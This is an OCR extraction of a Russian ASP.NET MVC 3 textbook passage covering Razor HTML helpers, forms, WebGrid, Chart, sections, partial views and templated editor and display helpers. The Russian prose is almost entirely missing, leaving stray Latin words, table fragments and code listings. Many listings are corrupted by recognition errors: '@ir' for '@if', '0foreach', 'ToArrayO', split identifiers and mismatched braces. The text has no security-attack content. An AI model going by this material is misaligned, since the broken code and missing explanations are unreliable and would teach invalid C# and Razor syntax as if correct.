@{
View B ag. T i t l e
"In dex";
}
Dynamic v i e w model:
@Model[0]
! .
, ,
.
HTML
H T M L -
. H T M L - Razor
, . ,
, . , M VC
Framework
HTML. ,
H T M L,
, M V C Framework.
HTML
Razor- ghelper. 15.19 .
15.
435
15.19.
0{
ViewBag.Title = "InlineHelper";
}
ghelper CreateList(string[] items)
<ul>
Sforeach (string item in items) {
<li>0item</li>
}
</ul>
}
<h4>InlineHelper</h4>
Days of the week: <p/>
gCreateliiist (ViewBag. Days)
<p />
Fruit I like: <p />
@CreateList(ViewBag.Fruits)
HTML
#.
CreateList, .
,
Razor.
HTML-, , Razor,
@. , ,
HTML Razor
. . 15.5.
. 15.5.
. HTML-
foreach, .
,
.
, .
436
HTML
,
, .
, .
HTML,
#. 15.20 .
15.20. HTML
using S ystem.Web.Mvc;
namespace
{
TagBuilder tag = new TagBuilder("ul");
foreach (string item in listltems)
HTML
HtmlHelper. this {
C# , ).
.
,
,
.
HTML-
TagB u ilder, HTML-
.
TagBuilder System.Web.WebPages,
(type forwarding) ,
System.Web.Mvc. MVC
Visual Studio, TagBuilder ,
API- Microsoft Developer Network (MSDN).
TagBuilder,
HTML-, .
TagBuilder (< >) , .. ul, ,
:
TagBuilder tag = new TagBuilder("ul");
TagBuilder . 15.3.
15.
437
15.3. T a g B u ild e r
InnerHtml
,
HTML-. , ,
, ..
HTML-
SetlnnerText(string)
AddCssClass(string)
CSS HTML-
MergeAttribute(
string, string, bool)
HTM L-.
, . boo l
,
HTML M v c H t m l S t r i n g ,
. . ,
M v c H t m l S t r i n g ,
,
XSS. T a g B u i l d e r .SetlnnerText,
, E n c o d e
HtmlHelper, .
!
HTML, , .
"
.
HTML
M VC Fram ew o rk
H TM L, H T M L-
.
. ,
.
! HTML HTM L-,
, .
HTML-
. HTML, ,
, - . ,
, ,
HTML-.
( )
H t m l . B e g i n F o r m Html.EndForm. HTML- f orm
action,
.
15.21.
438
15.21. B e g i n F o r m E n d F o r m
@(Html.BeginForm("Index", "Home");)
0{ Html.EndForm();}
,
, Razor,
.
using, 15.22.
15.22. HTML- B e g i n F o r m u s i n g
@using (Html.B eginForm("Index", "Home"))
)
, BeginForm
MvcForm, IDisposable. using
.NET Framework Dispose MvcForm,
form
EndForm.
15.21 15.22 HTML-:
< fo rm
action="/" method="post"x/form>
B eginForm ,
, action HTML- form. ,
15.21 15.22,
.
action. Index
, URL /.
URL 11.
, URL
BeginForm, ,
URL, .. ,
. MVC,
GET POST URL. GET HTML-,
POST .
, , :
public class SomeController : Controller {
public ViewResult M yAc t i o n () {
/* */
}
[HttpPost]
public ActionResult MyAction(MyModel incomingData)
/* POST */
}
}
HttpPost , 14, ,
MVC Framework
MyModel ( ), 17.
15.
439
HTML- ,
( i n p u t ) . . 15.4
HTML, i n p u t .
. . 15.4
.
HTML- , i d .
v a l u e i n p u t ( T e x t A r e a ) .
15.4. HTML
HTML-
Html.CheckBox("myCheckbox", false)
:
<input id="myCheckbox" name="myCheckbox"
type="checkbox" value="true" />
<input name="myCheckbox" type="hidden"
value="false" />
Html.Hidden("myHidden", "val")
:
cinput id="myHidden" name="myHidden"
type="hidden" value="val" />
Html.Password("myPassword", "val")
:
cinput id="myPassword" name="myPassword"
type="password" value="val" />
Html.TextBoxC'myTextbox", "val")
:
cinput id="myTextbox" name="myTextbox"
type="text" value="val" />
! ,
( H t m l . C h e c k B o x )
i n p u t : i n p u t .
, , .
, MVC Framework
, .
Razor- @, :
@ H tm l. C h e c k B o x ( "m y C h e c k B o x ", Model)
440
,
, ViewBag
. , @Html.TextBox("DataValue") MVC
Framework , DataValue.
:
ViewBag.DataValue
ViewData ["DataValue"]
SModel.DataValue
value
HTML-. ( @Model.DataValue ,
DataValue.)
DataValue.First.Name
. MVC Framework
, , :
ViewBag.DataValue.First.Name
ViewBag. DataValue ["First"] .Name
ViewBag.DataValue["First. Name"]
ViewBag. DataValue ["First"] ["Name"]
ViewData["DataValue.First.Name"]
ViewData ["DataValue"] .First.Name
ViewData["DataValue.First"] .Name
.
, .
, , ViewBag
ViewData ,
.
!
, .
HTML- Razor .
, . 15.4,
, .
. 15.5
HTML-,
.
.
HTML
-. ,
, , ,
valu e.
15.
441
15.5. HTML
HTML-
:
<input id="IsApproved" name="IsApproved"
type="checkbox" value="true" />
<input name="IsApproved" type="hidden" value="false" />
:
cinput id="SomeProperty" name="SomeProperty"
type="hidden" value="value" />
:
<input id="IsApproved" name="IsApproved"
type="radio" value=val" />
:
<input id="Password" name="Password" type="password" />
:
<textarea cols="20" id="Bio" name="Bio" rows="5">
Bio value</textarea>
:
<input id="Name" name="Name" type="text" value="Name value" />
HTML-
HTML ,
HTML-.
, :
@Html.TextBox("MyTextBox", "MyValue",
new { 0class = "my-ccs-class", nycustomattribute = "ray-value" })
,
class
mycustom:
, , class,
CSS. class 0,
C# . @
Razor. #,
.
. 15.6 HTM L,
select.
. ,
.
442
15.6. HTML,
HTML-
H t m l .DropDownList ("myList",
new SelectList(new [] {"A", "B"}), "Choose")
:
<select id="myList" name="myList">
<option value="">Choose</option>
<option>A</option>
<option>B</option>
</select>
Html.ListBox( "myList",
new MultiSelectList(new [] {"A", "B"}))
:
<select id="myList" multiple="multiple" name="myList">
<option>A</option>
<option>B</option>
</select>
s e l e c t
SelectList MultiSelectList. ,
MultiSelectList , ,
.
IEnumerable .
. 15.6 , ,
. SelectList MultiSelectList ,
. ,
, Region:
public class Region{
public int RegionID { get; set; }
public string RegionName { get; set; }
)
SelectList ,
:
List<Region> regionsData
new Region { RegionID
new Region { RegionID
new Region { RegionID
};
=
=
=
=
new List<Region> {
7, RegionName = "Northern" },
3, RegionName = "Central" },
5, RegionName = "Southern" },
15.
ViewData["region"] = new SelectList(regionsData,
"RegionID",
"RegionName",
3) ;
//
//
//
//
443
dataValueField
dataTextField
selectedValue
, RegionID RegionName
value , select.
URL
HTML
HTML- . URL
URL , 11. . 15.7
HTML, . ,
,
MVC.
15.7. HTML, URL
URL,
URL
URL
URL
. Url.Content
, URL.
.
11.
444
WebGrid
WebGrid HTML-
() HTML-
table.
ASP.NET Web Pages. MVC Framework
, . , .
WebGrid -
.
. ,
Product SportsStore, .
15.23.
15.23.
W e b G rid
public ActionResult Grid()
IEnumerable<Product>
new Product (Name =
new Product {Name =
new Product {Name =
Price = 34.95m},
};
return View(productList);
}
IEnumerable<Product> .
15.24 ,
WebGrid.
15.24. W e b G rid
Smodel IEnumerable<DynamicData.Models.Product>
@{
}
@grid.GetH t m l (
tableStyle: "grid,
headerStyle: "header",
rowStyle: "row",
footerStyle: "footer",
alternatingRowStyle: "altRow",
columns: grid.Columns (
g r i d .C o l u m n ("Name", "Item", style:"textCol"),
grid.Column ("Price", style: "numbered",
format: @<text>$@string.Format("{0:F 2 }", item.Price) </text>)
))
15.
445
W e b G r i d .
Razor WebGrid.
s o u r c e (
Product). , .
( ,
). ,
rowsPerPage. W e b G r i d
.
, ,
.
'&. Yb.%.
15.8. WebGrid
So u r c e
null
c o l u m n N a m* e s
nul l
rowsPerPage
10
canPage
true
canSort
true
WebG r i d
HTML-, G e t H t m l
WebGrid. , ,
HTML-,
, .
. 15.9 ,
GetHtml.
15.9. W e b G rid .G e tH tm l
tableS tyle
n u ll
CSS t a b l e
h e a d e r S ty le
null
CSS tr
footerStyle
null
CSS tr
rowStyle
null
CSS
alternatingRowStyle
null
CSS
caption
null
caption,
displayHeader
true
c a p t i o n
446
false
t r u e ,
n ull
n um ericLink sC o un t
null
co lum n s
null
( )
h tm lA ttr ib u te s
null
,
t a b l e (.
HTML- )
fillE m p ty R o w s
nextText
c o l u m n s
. C o l u m n s ,
C o l u m n :
co lum n s:
g r i d .C o l u m n s
g r i d .C o l u m n ("N a m e ",
g r i d .C o l u m n ( " P r i c e " ,
fo rm at:
"It e m ",
style:
s t y le : "t e x t C o l"),
"n u m b e r e d ",
i t e m .P r i c e )
< /t e x t > )
))
N a m e
, I t e m
CSS- t e x t c o i . P r i c e
.
. 15 .1 0 , C o l u m n .
15.10. W eb G rid .C o lu m n
CanSort
C olu m nN am e
Form at
Header
Style
CSS
Func,
15 .2 4 . 15.6.
CSS, .
G e t H t m l .
, ,
W e b G r i d
. , 2
.
15.
. 15.6.
447
WebGrid
WebGrid , ,
. 2
URL:
h t t p ://localhost:1223/Home/Grid?sortdir=ASC&page=2
* URL s o r t d i r .
, WebGrid,
.
, ,
. , ,
, , , ,
. , ,
WebGrid.
WebGrid,
W e b G r i d ,
. WebGrid
ViewBag, :
p u b l i c A c t i o n R e s u l t Grid()
);
ViewBag.WebGrid = new WebGrid(source: productList, rowsPerPage: 4);
return View(productList);
}
, :
@model IEnumerable<DynamicData.Models.Product>
@{ var grid = (WebGrid)ViewBag.WebGrid;}
@grid.GetHtml(
tableStyle: "grid",
headerStyle: "header",
rowStyle: "row",
footerStyle: "footer",
alternatingRowStyle: "altRow",
448
II. ASP.NET 3
columns: grid.Columns (
g r i d .C o l u m n ("Name", "Item", style:"textCol"),
g r i d .Column("Price", style: "numberCol",
format: 0<text>$@string.Format("{0:F 2 , item.Price) </text>)
))
- ,
WebGrid .
,
, .
C h a rt
,
. ASP.NET Web Forms,
MVC Framework (, ,
). ,
HTML-.
, .
.
MSDN MVC ,
Chart Web Forms.
, ,
void, 15.25.
15.25. C h a r t
public void C h artlmageO (
IEnumerable<Product> productList = new LiSt<Product> (
new Product (Name = "Kayak", Category = "Watersports", Price = 275m},
new Product (Name = "Lifejacket", Category -= "Watersports", P r ic e = 48.95nr,
new Product (Name = "Soccer ball". Category = "Football", Price = 19.50m>, new Product (Name = "Corner flags", Category = "Football", Price = 34.95n),
new Product (Name = "Stadium", Category = "Football", Price = 150m),
new Product (Name = "Thinking cap", Category = "Chess", Price = 16m)
};
Chart chart = new C h a r t (400, 200,
@"<Chart BackColor=""Gray"" BackSecondaryColor=""WhiteSmoke""
BackGradientStyle=""DiagonalRight"" AntiAliasing=""All""
BorderlineDashStyle = ""Solid"1' BorderlineColor = ""Gray"">
<BorderSkin SkinStyle = ""Emboss"" />
<ChartAreas>
CChartArea Name=""Default"" _Template__=""All"" BackColor=" "Wheat" "
BackSecondaryColor=""White"" BorderColor=""64, 64, 64, 64""
BorderDashStyle=""Solid"" ShadowColor=""Transparent"">
</ChartArea>
</ChartAreas>
</Chart>");
chart.AddSeries (
chartType: "Column",
yValues: productList.Select(e => e.Price).ToArrayO,
xValue: productList.Select (e => e.Name) .ToArrayO
);
chart.Write ();
)
15.
449
Product
. Stadium () ,
.
Chart.
, .
.
XM L-.
. 35
, -
. ,
XML- .
Chart AddSeries
.
,
Product. chartType,
X Y LINQ,
. , LINQ
.
Chart.Write,
. ,
15.25, . 15.7.
. 15.7.
Chart
-
, .
,
, (. . 15.11).
15.11.
Crypto
WebMail
SMTP,
Partylnvites
Json
JSON
Serverlnfo
WeMmage
15 . 4039
450
,
. . 15.11
( WebMatrix ASP.NET Web Forms)
, , ,
( W ebM ail,
3). , J S O N ,
J s o n R e s u lt , 12.
,
, .N E T Framework,
.
. MVC, h t tp :/ / c o d e p le x .c o m / a s p n e t,
M ic r o s o f t.W e b .H e lp e r s .
,
-, ..
Razor (section),
. Razor
, ,
. 15.26 ,
.
15.26.
@<
V ie w B a g . T i t l e = " In d e x " ;
}
< h4>This i s th e view </h4>
Ssection Header {
0foreach (string str in new [] {"Home", "List", "Edit"})
<div style="float:left; padd i n g :5px">
@ H t m l . A c t i o n L i n k ( s t r , str)
</div>
}
<div style="clear:both" />
)
< h4>This i s th e v ie w betw een th e h e a d e r and f o o t e r s e c t io n s < / h 4 >
@section Footer
)
< h4>This i s th e v ie w ag ain < /h 4>
Razor- @ se ctio n ,
. H e a d e r F o o te r.
Razor .
15 .27 , *
.
15.
451
15.27.
<!DOCTYPE html>
<html>
<head>
< t i t l e > @ V i e w B a g .T i t l e < / t i t l e >
<link h r e f = " @ U r l . C o n t e n t (" - / C o n t e n t / S i t e .c s s " )" rel="stylesheet"
typ e= "text/css"
/>
</head>
<body>
0RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
@RenderBody()
<h4>This is the layout between the body and the footer</h4>
@RenderSection("Footer")
< /body>
</html>
R e n d e r S e c t i o n , . ,
, R e n d e r B o d y .
,
0 s e c t i o n ; H e a d e r F o o t e r
15.27 .
. 15.8 .
, , RenderSection,
, . ,
RenderBody , .
! ,
. ,
@RenderSection
Framework .
. 15.8.
, MVC
II. ASP.NET 3
452
.
,
, ,
, RenderBody.
,
(Body), 15.28.
15.28. Razor
@{
ViewBag.Title = "Index";
}
@section Header {
0foreach (string str in new [] ("Home", "List", "Edit"})
<div style="float:left; padding:5px">
@Html.ActionLink(str, str)
</div>
}
<div style="clear:both" />
)
gsection Body {
<h4>This is the body section</h4>
)
section Footer {
<h4>This is the footer</h4>
)
,
RenderBody. ,
RenderBody RenderSection("Body"),
15.29.
15.29. R e n d e r S e c t i o n (B o d y ")
<body>
@RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
@RenderSection("Body")
<h4>This is the layout between the body and the footer</h4>
@RenderSection("Footer")
</body>
,
. , ,
. 15.30 .
15.
453
15.30. ,
@if (IsSectionDefinedC'Footer")) {
@RenderSection("Footer")
} else (
<h4>This is the default footer</h4>
}
IsSectionDefined
true, .
,
Footer.
, 15.31.
15.31.
<body>
RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
RenderSection("Body")
<h4>This is the layout between the body and the footer</h4>
RenderSection("Footer", false)
</body>
RenderSection , ,
. false,
, Footer,
, .
Razor
.
(partial view). , ,
.
,
, ,
.
454
. ASP.NET 3
,
/Views, Addw-View (^)
, Create as Partial View (
) , . 15.9.
. 15.9.
.
. H t m l .Partial,
15.32.
15.32. P a r t i a l
@(
15.
455
. Razor ,
( - / V ie w s /<> ~ /V iew s/S h a red ). ,
,
, S h a re d .
,
,
.
. 15.10.
.
, C re a te
a strongly-typed view ( )
. . 15.11 Add View (
) M y S t r o n g l y T y p e d P a r t i a l ,
I E n u m e r a b l e < s t r i n g > .
. 15 .11.
456
. 15.33 .
.
15.33.
@model IEnumerable<string>
<p>This is my strongly-typed partial view</p>
<ul>
Sforeach (string val in Model) {
<li>0val</li>
}
</ul>
foreach
.
.
,
H tm l.P a r tia l, 15.34.
15.34.
0{
View B a g .Title = "Partial Views";
}
<p>This is the method rendered by the action method</p>
g H t m l .Partial ( " M y S t r o n g l y T y p e d P a r t i a l " , n e w
[]
{"Apples",
"Mangoes",
"Oranges"})
(
. ),
.
.
15.35 (, ,
15.34) . 15.12.
. 15 .1 2 .
15.
457
, .
,
. ,
.
,
( ),
, .
SportsStore
, , ,
.
.
.
, 15.35.
15.35.
[ChildActionOnly]
public ActionResult T i m e O {
return PartialView(DateTime.Now);
)
C h ild A ctio n O n ly ,
7''"? 15'5^1'','''
, ,
,
.
, ,
. , ,
, . 15.36
Tim e.cshtm l, .
15.36.
@ m odel D a te T im e
-tmi.
A ction . , View Result
, . 15.37
Razor, 15.35.
15.37.
ViewBag.Title = "Child Action Demonstration";
}
458
. 1 5 .1 3 .
A ctio n 15.38
, .
, MVC Framework ,
.
, :
@Htm l. A c t i o n ( " T i m e " , " M y C o n t r o l l e r " )
,
. , ,
;
[C h ild A ction O n ly ]
p u b l i c A c t i o n R e s u l t T i m e ( D a t e T i m e time)
return P a r t i a l V i e w ( t i m e ) ;
, :
@ H t m l . A c t i o n ( " T i m e " , n e w ( time = D a t e T i m e . N o w })
MVC
Razor. ,
,
. ,
,
.
,
, . ,
MVC .. .
16
HTML, , Html.
CheckBoxFor Html.TextBoxFor, HTML-,
. MVC Framework
,
,
, MVC Framework
HTML-.
, ,
.
. H T M L - ,
,
, M V C F ra m ew ork .
;
M V C F ra m e w o rk , , .
16.1 ,
.
16.1.
public class Person {
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public bool IsApproved { get; set; }
public Role Role { get; set; }
}
public class Address {
public string Linel ( get; set; }
public string Line2 { get; set; }
public string City ( get; set; }
public string PostalCode { get; set; }
public string Country { get; set; }
}
460
16.2
:
Person,
.
16.2. ,
Smodel M V C A p p .M o d e l s .Person
@{
V iewBag.Title = "Index";
}
<h4>Person</h4>
<div ciass="field">
<label>Name:</label>
@Html.EditorFor(x => x.FirstName)
@Html.EditorFor(x => x.LastName)
</div>
<div class="field">
<label>Approved:</label>
0Html.EditorFor (x => x.IsApproved)
</div>
Html.EditorFor,
HTML- . . 16.1
.
. 16.1.
HTML- 16.3.
16.3. HTML-,
<div class = "fielct">
<label>Name:</label>
Cinput class="text-box single-line" id="FirstName"
name="FirstName" type="text" value="Joe" />
<input class="text-box single-line" id="LastName"
name="LastName" type="text" value="Smith" />
</div>
16.
461
<div class="field">
<label>Approved: < / la b e l>
, id name,
F i r s t N a m e L a s t N a m e ,
IsApproved .
HTML-,
, ;
Html.DisplayFor. 16.4.
16.4. HTML-, ,
<div class="field">
<label>Name:</label>
@Html.DisplayFor(x => x.FirstName)
gHtml.DisplayFor(x => x.LastName)
</div>
<div class="field">
< l a b e l > A p p r o v e d :< / l a b e l >
HTML- , . 16.2.
. 16.2. HTML-,
, HTML-,
, . ,
MVC , ,
. . 16.1
, MVC Framework.
. 16.1 HTML-
, MVC ,
HTML- .
(scaffolding)
. (
, ,
.)
. 16.2.
462
Display
Html.Display ("FirstName")
,
,
,
HTML-
DisplayFor
Editor
Html.Editor("FirstName")
,
HTML-
EditorFor
Html.EditorFor(x =>
x.FirstName)
Label
Html.Label("FirstName")
HTML-
<label>,
LabelFor
Html.LabelFor(x =>
x.FirstName)
DisplayText
Html.
DisplayText("FirstName")
DisplayTextFor
Html.DisplayTextFor (x =>
x.FirstName)
16.2. HTML
MVC
DisplayForModel
H t m l .DisplayForModel()
,
,
EditorForModel
H t m l .EditorForModel()
LabelForModel
H t m l .LabelForModel()
HTM L-
<label>,
16.5 ,
EditorForModel.
16.
463
16.5.
HTML
@model MVC A p p .Mod e l s .Person
@f
V i e w B a g .T i t l e = " I n d e x " ;
}
<h4>Person</h4>
@Html.EditorForModel()
HTML
;
, . . 16.3
.
. 1 6 .3 .
. , ,
,
.
10111!1*
.
HTML-
HTML- class,
.
464
II. ASP.NET 3
,
@Html.EditorFor(m => m.BirthDate)
HTML-:
<input class="text-box single-line" id="BirthDate" name="BirthDate"
type="text" value="25/02/1975 00:00:00" />
, :
@Html.EditorForModel()
HTML-
. HTML-, B irth D a te,
( ):
<div class="editor-label">
<label for="BirthDate">BirthDate</label>
</div>
<div class="editor-field">
<input class="text-box single-line" id="BirthDate" name="BirthDate"
type="text" value="25/02/1975 00:00:00" />
</div>
HTML- ,
. , HTML-
IsApproved:
<div class="editor-label">
< label for="IsApproved"> IsApproved</label>
</div><div class="editor-field">
<input checked="checked" class="check-box" id="IsApproved"
name="IsApproved" type="checkbox" value="true" />
< in p u t n a m e = "Is A p p r o v e d " t y p e = " h id d e n " v a l u e = " f a l s e " />
</div>
, HTML-
. , - / C o n t e n t / S it e . c s s CSS
editor-label editor-field
.
, . 16.4.
. 16.4. c l a s s
16.
465
, HTML-,
. HTML-, . 16.4, ;
. , Personld
, .
, BirthDate
, .
; HTML- ,
. ,
, .
,
. ,
,
.
.
Person Personld .
.
, , ,
, ,
. Hiddenlnput
, 16.6.
16.6. H id d e n ln p u t
p u b lic
c la s s
P erson
[Hiddenlnput]
public int-Personld { get; set; }
public
public
public
public
public
public
, Html.EditorFor
a Html.EditorForModel , , . 16.5 (
EditorForModel).
Personld ,
. HTML-, , ;
<div class="editor-field">
1
cinput id="PersonId" name="PersonId" type="hidden" value="l" />
</div>
466
. 16 .5.
,
(1 ) ,
,
,
17 18.
, DisplayValue
Hiddenlnput false, 16.7.
16.7. H i d d e n l n p u t
public class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; )
public string FirstName ( get; set; }
p u b lic
s trin g
LastN am e
{ g e t;
s e t;
H t m l .EditorForModel
Person , Personld
. Personld
, . 16.6.
. 16 .6.
16.
467
HTML-
P erso n ld Html.
EditorFor, :
@Htm l.EditorFor (m => m .Personld)
, H id d e n ln p u t, ,
D isplayValue tru e, HTML-:
<input id = "P e r s o n !d " name="PersonId" type= "h idden " v a lu e = " l" />
HTML-
S caffoldC olu m n . H iddenln pu t
, ScaffoldColum n
. :
p u b lic
c la s s
P erso n
[ScaffoldColumn(false)]
p u b lic i n t tPersonId { g e t ; s e t ; }
ScaffoldColumn,
; in pu t
, , , HTML-
. HTML- ,
Hiddenlnput,
,
. ScaffoldC olum n I , E ditorFor.
E d ito rF or (m => m .Personld) , P erso n ld , ScaffoldColumn.
L a b e l, L a b e l For, L a b e lF o r M o d e l
E d ito rF orM od el la b e l
. , :
S H t m l .L a b e l F o r (m => m . B i r t h D a t e )
HTML-:
< label f o r = " B i r t h D a t e " > B i r t h D a t e < / l a b e l >
, .
DisplayName System.
ComponentModel, ; 16.8
.
1 6 .8 . D i s p l a y N a m e
p u b lic
c la s s
P erso n
[Hiddenlnput(DisplayValue=false)]
p u b l i c int P e r s o n l d { get; set; }
468
}
label
BirthDate, Display
Name , :
<label for="BirthDate">Date of Birth</label>
DisplayName,
. ,
,
H t m l . L a b e l F o r M o d e l . 16.9
'Person.
16.9. DisplayName
[DisplayName("Person Details")]
DisplayName ,
.
:
SHtml.LabelForModel()
HTML-:
<label for="">Person Details</label>
: ,
, .
DataType. 16.10.
16.
469
1 6 .1 0 . D a t a T y p e
public class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld ( get; set; }
public string FirstName ( get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
[D i s p lay(Name="Date of Birth")]
public D a teTime B i r t h D a t e ( get; set;
public A d d r e s s H o m eA d d r e s s { get; set;
public bool I s A p p r oved { get; set; }
public Role Role { get; set; }
}
)
}
D a t a T y p e
DataType. DataType.Date,
BirthDate
. . 16.7.
. 16.7. DataType
. 16.3 DataType.
16.3. D a ta T y p e
D a teTime
Date
DateTime,
Time
DateTime,
Text
System.DateTime)
MultilineText
textarea
Password
Url
URL ( H TM L- )
EmailAddress
(
H I M L - href, mailto)
,
, . ,
MultilineToxt , ,
, HTML- textarea,
.
textarea ,
470
, .
Url
. HTML- .
,
HTML-.
. HTML-
UIHint, 16.11.
1 6 . 1 1 . U I H i n t
public class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; }
[UIHint("MultilineText")]
public string FirstName { get; set; }
pufilic string LastName { get; set; )
[D ataType(D ataType. D a te )]
[Display(Name="Date of Birth")]
public DateTime BirthDate ( get; set; )
public Address HomeAddress ( get; set; )
public bool IsApproved ( get; set; )
public Role Role { get; set; }
}
M u lt ilin e T e x t , H T M L textarea FirstName
, E d ito rF o r E d ito rF orM od el. . 16.4
M VC F ram ew ork .
Boolean
( )
( )
,
disabled,
HTML,
bool. null
bool? select
True, False Not Set
Collection
IEnumerable.
Decimal
input
EmailAddress
input
HTML- ,
href mailto URL
16.
471
. 16.4
( )
H idd en ln p u t
Htm l
i n p u t
HTM L-
M u ltilin e T e x t
HTML-
t e x t a r e a ,
O bject
Password
i n p u t
,
,
i n p u t
Strin g
( )
in p u t
i n p u t
Text
Url
i n p u t
S tr in g
S trin g
HTM L- .
h r e f
! U I H i n t . ,
(,
B o o le a n s t r i n g ) , .
O b j e c t :
H T M L -
.
, .
O b j e c t U I H i n t D a t a T y p e .
.
, ,
, O R M , Entity Framework ( ,
Entity Framework SportsStore). ,
, ,
.
p a r t i a l
p a r t i a l , .
partial, Entity Framework
. 16.12 P e r s o n , ,
p a r t i a l .
472
1 6 .1 2 .
public p a r t i a l class Person {
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime BirthDate ( get; set; }
public Address HomeAddress ( get; set; }
public bool IsApproved { get; set; }
public Role Role { get; set; }
}
Person,
, 16.13.
,
Person,
.
. 16.11 , .
16.13.
[M eta d a ta T yp e(typ eof(P erson M eta d a ta S ou rce)) ]
public partial class Person {
)
, , p a r t ia l.
( '' ''1 11'" 5?'"1.M etadataType, *
Person .
, Person
PersonM etadataSource, 16.14.
16.14.
Class P e r s o n M e t a d a t a S o u r c e (
[Hiddenlnput(DisplayValue=false)]
p u b lic in t P erson ld { g e t ; s e t ; )
[DataType(DataType.Date)]
public DateTime BirthDate ( get; set; }
}
_____________
,
Person, , .
H iddenlnput Person ld
DataType B irthD ate.
O bject, i
. ,
HTML-, .
16.
473
,
E d itorF orM od el D isplayForM odel
. , , HomeAddress . ,
O b ject , ,
s t r in g G etC on verter
System .Com ponentM odel.TypeD escriptor. #,
in t, b o o l double, , Guid
DateTime.
- .
HTML- ,
, .
, : MVC Framework ,
, O bject ,
ORM,
. HTML-
, 16.15.
16.15.
Smodel MVCApp.Models.Person
@(
E d ito rF o rM o d el
, H tm l.E d ito rF o r
HTML- HomeAddress.
. 16.8.
. 1 6 .8 .
474
II. ASP.NET 3
H o m e A d d r e s s A d d r e s s ,
A d d r e s s ,
P e r s o n . O b j e c t ,
E d i t o r F o r H o m e A d d r e s s ,
.
,
,
MVC Framework, ,
.
,
.
.
HTML-, .
R o l e P e r s o n . R o l e ,
. 16.16
,
, HTML- .
16.16. , P e rs o n .R o le
Sm odel M V C A p p . M o d e ls . P e r s o n
<p>
S H tm l. L a b e lF o r (m
=> m . R o l e ) :
S H t m l. E d i t o r F o r ( m => m . R o l e )
</p>
<P>
S H t m l . L a b e l F o r (m => m . R o l e ) :
@ Htm l. D i s p l a y F o r ( m => m . R o l e )
4/p>
; ,
R o l e . . 16.9 .
. 16.9.
P e r s o n . R o l e
,
. R o l e (A d m i n ,
U s e r G u e s t ), HTML-
16.
475
. , . ,
Html.DropDownListFor,
,
, Role.
, ,
, (
15).
Editor Templates -/views/shared .
Add View (
). Role
Create a strongly-typed view ( ),
. 16.10.
. 16.10. ,
Razor .
H T M L -, H T M L -
Razor, 16.17.
16.17.
3 m o d e l R o le
}
</select>
476
II. ASP.NET 3
HTML- s e le c t option
Role. fo re a c h ,
,
s e le c te d .
HTML-
. . 16.11
H tm l.EditorForM odel. ,
R ole.cshtm l.
. 16.11.
, ;
, R o l e .
16.18 ,
Role.
16.18. , R o le
p u b lic c la s s SimpleModel {
p u b lic s t r in g Name { g e t; s e t ;
p u b lic R ole S tatu s
{ get;
set;
}
}
. 16.12 Html.
EditorForM odel SimpleModel ,
Status R ole.cshtm l.
. 1 6 .1 2 . R o le
16.
477
R o l e . c s h t m l , .. MVC Framework
C# . ,
MVC Framework .
1. , , Html.E d i t o r F o r f m =>
m. S o meProperty, "MyTemplate") MyTemplate.
2. , , UIHint.
3. , , ,
DataType.
4. , .NET .
5. ,
String.
6. , .
7. I E n u m e r a b l e ,
Collection.
8. , Obje c t
, .
,
. 16.4. MVC Framework
E d i t o r T e m p l a t e s / < M M # > DisplayTemplates/<i>fM#>.
R ole 4 ;
Rol e .cshtml ~/Views/Shared/EditorTemplates.
,
; , ,
, ~/Views/<controller>/EditorTemplates
, ~/Views/Shared.
15.
,
DisplayTemplates.
16.19
Role; ~/Views/Shared/DisplayTemplates/Role.cshtml.
16.19.
@model Role
0foreach (Role v a l u e in E n u m . G e t V a l u e s ( t y p e o f ( R o l e ) )) {
if (value = = Model) {
< b > 0v a l u e < / b >
) else {
@value
478
R o l e
, .
P e r s o n . R o l e . 16.13.
. 16.13.
, . ,
, , , ,
, UIHint.
" , ,
, UIHint,
, .
16.20 Enum.cshtml -/Views/Shared/
EditorTemplates. #.
16.20.
gmodel Enum
@Html.DropDownListFor (m => m, Enum.GetValues(Model.Get T y p e ())
.Cast<Enum>()
,Select(m => {
string enumVal = E n u m .GetName(Model.GetType (), m ) ;
return new SelectListltem() {
S e l e c t e d = ( M o d e l . T o S t r i n g () == e n u m V a l) ,
Text = enumVal,
Value = enumVal
};
)))
Enum,
. HTML Razor,
HTML;
D r o p D o w n L i s t F o r
LINQ SelectListltem.
16.21 E n u m U I H i n t
Person.Role.
16 .21 . U IH in t
public partial class Person {
public
public
public
public
public
16.
479
p u b lic b o ol IsApproved { g e t ; s e t ; }
[UIHint("Enum")]
,
, MVC Framework
. 16.22
Boolean, b o o l b o ol? .
. 16.4.
16.22.
@model bool?
@ir (View Data.M odelM etadata. isN u lla b leV alu eT yp e && Model == n u ll)
@:True F a lse <b>Not Set</b>
} e ls e i f (M odel.Valu e) {
@: <b>True</b> F a lse Not Set
} e ls e (
@:True <b>False</b> Not Set
i
B oolean
n u ll, ,
. .
, ;
. 16.22 ,
~/Views/Shared/DisplayTemplates.
! , n u ll ,
, n u ll. ,
16.22 bool?, bool. MVC Fram ework ,
n u ll, ,
. ,
n u ll, V iew D ata,M od elM etadata.IsN u llableV alu eType,
.
b o o l bool?
. . 16.14 .
.
.
480
II. ASP.NET 3
. 16.14.
V ie w D a ta .T e m p la te ln f
, MVC
Framework ViewData.Templatelnfo.
Tem platelnfo. T em p la teln fo . 16.5.
16.5. T e m p la t e ln fo
Form attedModelValue
,
,
DataType.
G etF u llH tm lF ie ld ld O
,
HTML- id
GetFullHm lFieldNam eO
,
HTML- name
H tm lF ie ld P r e fix
, T e m p la t e ln fo
Form attedM odelValue,
.
16.23 D ateTim e.cshtm l,
DateTime.
16.23.
@model DateTime
@Html .TextBox (
, V i e w D a t a .T e m p l a t e l n f o .F o r m a t t e d M o d e l V a l u e )
. Html .TextBox
ViewData.Templatelnfo.FormattedModelValue.
DataType BirthDate Person,
:
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
, FormattedModelValue,
DateTime. . 16.15.
16.
481
. 16 .1 5 . FormattedModelValue
HTML
. MVC Framework
, HtmlFieldPrefix
Templatelnfo .
, HomeAddress Person,
Address. ,
:
